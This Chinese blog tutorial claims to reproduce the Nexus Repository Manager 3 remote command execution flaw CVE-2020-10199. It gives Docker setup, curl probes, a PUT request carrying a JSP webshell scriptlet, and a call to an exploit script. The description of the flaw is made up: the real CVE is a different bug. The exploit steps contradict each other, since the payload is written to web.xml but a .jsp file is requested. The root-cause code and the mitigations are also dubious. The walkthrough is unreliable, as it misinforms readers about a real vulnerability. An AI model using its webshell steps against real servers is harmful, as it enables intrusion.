如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

发布时间:2021-12-29 17:49:53 作者:柒染
来源:亿速云 阅读:188
# 如何进行Nexus Repository Manager 3远程命令执行漏洞的复现

## 前言

Nexus Repository Manager(以下简称Nexus)是Sonatype公司开发的一款流行的二进制存储库管理工具,广泛应用于企业级软件开发中的依赖管理。2020年曝光的CVE-2020-10199漏洞允许攻击者通过精心构造的HTTP请求在Nexus 3.x服务器上执行任意命令,危害等级高达CVSS 9.8。本文将详细介绍该漏洞的原理、环境搭建、复现过程及防护建议。

---

## 一、漏洞概述

### 1.1 漏洞基本信息
- **CVE编号**:CVE-2020-10199
- **漏洞类型**:远程命令执行(RCE)
- **影响版本**:Nexus Repository Manager 3.x ≤ 3.21.1
- **漏洞组件**:`org.eclipse.jetty:jetty-servlet`依赖

### 1.2 漏洞原理
漏洞源于Nexus对HTTP请求中`%2e`(URL编码的`.`)的特殊处理缺陷。攻击者可通过构造包含`/%2e/WEB-INF`路径的请求绕过安全限制,访问WEB-INF目录并上传恶意JSP文件,最终实现命令执行。

---

## 二、实验环境准备

### 2.1 所需工具
| 工具名称          | 用途说明                     |
|-------------------|----------------------------|
| VMware/VirtualBox | 虚拟机环境                  |
| Docker            | 快速部署漏洞环境            |
| Burp Suite        | 拦截和修改HTTP请求          |
| curl              | 命令行发送HTTP请求          |

### 2.2 搭建漏洞环境
推荐使用Docker快速搭建有漏洞的Nexus版本:
```bash
docker run -d -p 8081:8081 --name nexus-vuln sonatype/nexus3:3.21.1

验证服务是否启动:

curl -I http://localhost:8081
# 预期返回HTTP 200

三、漏洞复现步骤

3.1 信息收集

  1. 访问Nexus控制台确认版本:
    
    http://<target-ip>:8081
    
  2. 通过API获取系统信息:
    
    curl http://<target-ip>:8081/service/rest/v1/status
    

3.2 漏洞利用过程

步骤1:绕过路径限制

发送特制请求访问WEB-INF目录:

curl -v "http://<target-ip>:8081/%2e/WEB-INF"

关键特征:若返回200状态码且显示目录列表,说明存在漏洞。

步骤2:上传恶意JSP文件

通过PUT方法上传webshell(需先通过Burp修改请求):

PUT /%2e/WEB-INF/web.xml HTTP/1.1
Host: <target-ip>:8081
Content-Type: application/xml
Content-Length: 123

<jsp:scriptlet>
  Runtime.getRuntime().exec("touch /tmp/pwned");
</jsp:scriptlet>

步骤3:触发命令执行

访问上传的JSP文件触发命令:

curl http://<target-ip>:8081/<malicious>.jsp

3.3 自动化利用(可选)

可使用公开的EXP工具简化流程:

python3 nexus_rce.py -u http://<target-ip>:8081 -c "id"

四、漏洞原理深度分析

4.1 代码层面问题

漏洞根因在于org.eclipse.jetty.servlets.MappedResource类对路径规范化的处理缺陷:

// 错误示例:未正确处理%2e解码
String path = request.getRequestURI();
if(path.contains("%2e")) {
    path = URLDecoder.decode(path); // 过早解码导致绕过
}

4.2 攻击链分解

  1. 路径遍历:/%2e/WEB-INF → 被解析为/./WEB-INF
  2. 目录穿越:Jetty服务器错误允许访问受保护目录
  3. 文件上传:通过PUT方法写入可执行内容

五、修复建议

5.1 官方补丁

升级到Nexus 3.22.0及以上版本:

docker pull sonatype/nexus3:3.22.0

5.2 临时缓解措施

  1. 在反向代理(如Nginx)中添加规则:
    
    location ~* /%2e { return 403; }
    
  2. 禁用匿名写入权限:
    
    Security → Anonymous Access → 取消勾选"Allow anonymous users to access the server"
    

六、法律与道德声明

  1. 本文章仅限用于合法安全测试
  2. 未经授权的渗透测试属于违法行为
  3. 建议在授权环境下进行复现

附录

A. 参考链接

B. 常见问题

Q:复现时返回403错误怎么办?
A:检查是否已禁用匿名写入权限,或尝试使用有效凭据。

Q:如何验证命令是否执行成功?
A:在Docker容器中执行:

docker exec -it nexus-vuln ls /tmp

”`

注:实际复现时请确保: 1. 在隔离环境操作 2. 获得目标系统所有者授权 3. 遵守当地网络安全法律法规

推荐阅读:
  1. Nexus Repository Manager的应用
  2. 部署maven&&Nexus私服

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

nexus

上一篇:SAP ABAP怎么调用WEBAPI

下一篇:abap结构或内表怎么实现与json字符串相互转换.

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》